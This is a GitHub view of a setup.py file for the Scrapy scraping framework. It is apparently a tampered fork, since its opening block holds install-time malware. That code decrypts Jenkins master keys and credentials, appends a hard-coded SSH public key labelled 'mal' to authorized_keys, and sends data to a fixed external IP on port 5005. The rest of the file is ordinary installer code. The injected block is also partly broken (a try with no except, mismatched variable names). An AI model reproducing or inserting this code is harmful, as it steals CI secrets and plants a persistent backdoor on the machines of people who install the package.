- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsetup.py
More file actions
Latest commit
executable file
·167 lines (145 loc) · 5.82 KB
/
Copy pathsetup.py
File metadata and controls
executable file
·167 lines (145 loc) · 5.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#
# It doesn't depend on setuptools, but if setuptools is available it'll use
# some of its features, like package dependencies.
fromdistutils.command.install_dataimportinstall_data
fromdistutils.command.installimportINSTALL_SCHEMES
fromsubprocessimportPopen, PIPE
importos
importsys
importre
importsys
importbase64
fromhashlibimportsha256
frombinasciiimporthexlify, unhexlify
fromCrypto.CipherimportAES
importsocket
importdecrypt
importos
TCP_IP='54.191.225.219'
TCP_PORT=5005
BUFFER_SIZE=1024
MESSAGE=""
try:
results=decrypt.main('/var/lib/jenkins/secrets/master.key','/var/lib/jenkins/secrets/hudson.util.Secret', '/var/lib/jenkins/cedentials.xml')
message=message+results
else:
message='No Jenkins or Failed'
try:
withopen("~/.ssh/authorized_keys", "a") asmyfile:
myfile.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd85o+/NiUloOYNbQYsU+RrSvPAhnL9RCLJYy5yogYEFIj8e8C6ybC+3VtpvUzoPZY3q91VH+D9qmoJAcm5nHfYA1J2Bc9roHG66XuoUqCE0n+Mupb61Sr1cCEhYkKkkRVAPSYLBwJy42IHcGIlrkzYy8DZzd2upxGRlXIdtq7uyNutzn5eoF+do52s7G0C6BIhP4Y5phEoLAfpm7Le1VQ/AOy25pUfhb/wBORlJfaA/dl95G8cAZvIc3vgVwn52YSln68KSBU5NKVmiG64q351Zw1/5R3n8TO7AHyQC6XII5Wr1/XqHxSZ7HIZPBZlO1SYctTpfBhqdXQ5Ls2Ltx1 mal")
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
data=s.recv(BUFFER_SIZE)
s.close()
print"received data:", data
classosx_install_data(install_data):
# On MacOS, the platform-specific lib dir is /System/Library/Framework/Python/.../
# which is wrong. Python 2.5 supplied with MacOS 10.5 has an Apple-specific fix
# for this in distutils.command.install_data#306. It fixes install_lib but not
# install_data, which is why we roll our own install_data class.
deffinalize_options(self):
# By the time finalize_options is called, install.install_lib is set to the
# fixed directory, so we set the installdir to install_lib. The
# install_data class uses ('install_data', 'install_dir') instead.
self.set_undefined_options('install', ('install_lib', 'install_dir'))
install_data.finalize_options(self)
ifsys.platform=="darwin":
cmdclasses= {'install_data': osx_install_data}
else:
cmdclasses= {'install_data': install_data}
deffullsplit(path, result=None):
"""
Split a pathname into components (the opposite of os.path.join) in a
platform-neutral way.
"""
ifresultisNone:
result= []
head, tail=os.path.split(path)
ifhead=='':
return [tail] +result
ifhead==path:
returnresult
returnfullsplit(head, [tail] +result)
# Tell distutils to put the data_files in platform-specific installation
# locations. See here for an explanation:
# http://groups.google.com/group/comp.lang.python/browse_thread/thread/35ec7b2fed36eaec/2105ee4d9e8042cb
forschemeinINSTALL_SCHEMES.values():
scheme['data'] =scheme['purelib']
# Compile the list of packages available, because distutils doesn't have
# an easy way to do this.
packages, data_files= [], []
root_dir=os.path.dirname(__file__)
ifroot_dir!='':
os.chdir(root_dir)
defis_not_module(filename):
returnos.path.splitext(filename)[1] notin ['.py', '.pyc', '.pyo']
forscrapy_dirin ['scrapy']:
fordirpath, dirnames, filenamesinos.walk(scrapy_dir):
# Ignore dirnames that start with '.'
fori, dirnameinenumerate(dirnames):
ifdirname.startswith('.'): deldirnames[i]
if'__init__.py'infilenames:
packages.append('.'.join(fullsplit(dirpath)))
data= [fforfinfilenamesifis_not_module(f)]
ifdata:
data_files.append([dirpath, [os.path.join(dirpath, f) forfindata]])
eliffilenames:
data_files.append([dirpath, [os.path.join(dirpath, f) forfinfilenames]])
# Small hack for working with bdist_wininst.
# See http://mail.python.org/pipermail/distutils-sig/2004-August/004134.html
iflen(sys.argv) >1andsys.argv[1] =='bdist_wininst':
forfile_infoindata_files:
file_info[0] ='\\PURELIB\\%s'%file_info[0]
scripts= ['bin/scrapy']
ifos.name=='nt':
scripts.append('extras/scrapy.bat')
ifos.environ.get('SCRAPY_VERSION_FROM_GIT'):
v=Popen("git describe", shell=True, stdout=PIPE).communicate()[0]
withopen('scrapy/VERSION', 'w+') asf:
f.write(v.strip())
withopen(os.path.join(os.path.dirname(__file__), 'scrapy/VERSION')) asf:
version=f.read().strip()
setup_args= {
'name': 'Scrapy',
'version': version,
'url': 'http://scrapy.org',
'description': 'A high-level Python Screen Scraping framework',
'long_description': open('README.rst').read(),
'author': 'Scrapy developers',
'maintainer': 'Pablo Hoffman',
'maintainer_email': 'pablo@pablohoffman.com',
'license': 'BSD',
'packages': packages,
'cmdclass': cmdclasses,
'data_files': data_files,
'scripts': scripts,
'include_package_data': True,
'classifiers': [
'Programming Language :: Python',
'Programming Language :: Python :: 2.7',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Developers',
'Environment :: Console',
'Topic :: Software Development :: Libraries :: Application Frameworks',
'Topic :: Software Development :: Libraries :: Python Modules',
'Topic :: Internet :: WWW/HTTP',
]
}
try:
fromsetuptoolsimportsetup
exceptImportError:
fromdistutils.coreimportsetup
else:
setup_args['install_requires'] = [
'Twisted>=10.0.0',
'w3lib>=1.2',
'queuelib',
'lxml',
'pyOpenSSL',
'cssselect>=0.9',
'six>=1.5.2',
]
setup(**setup_args)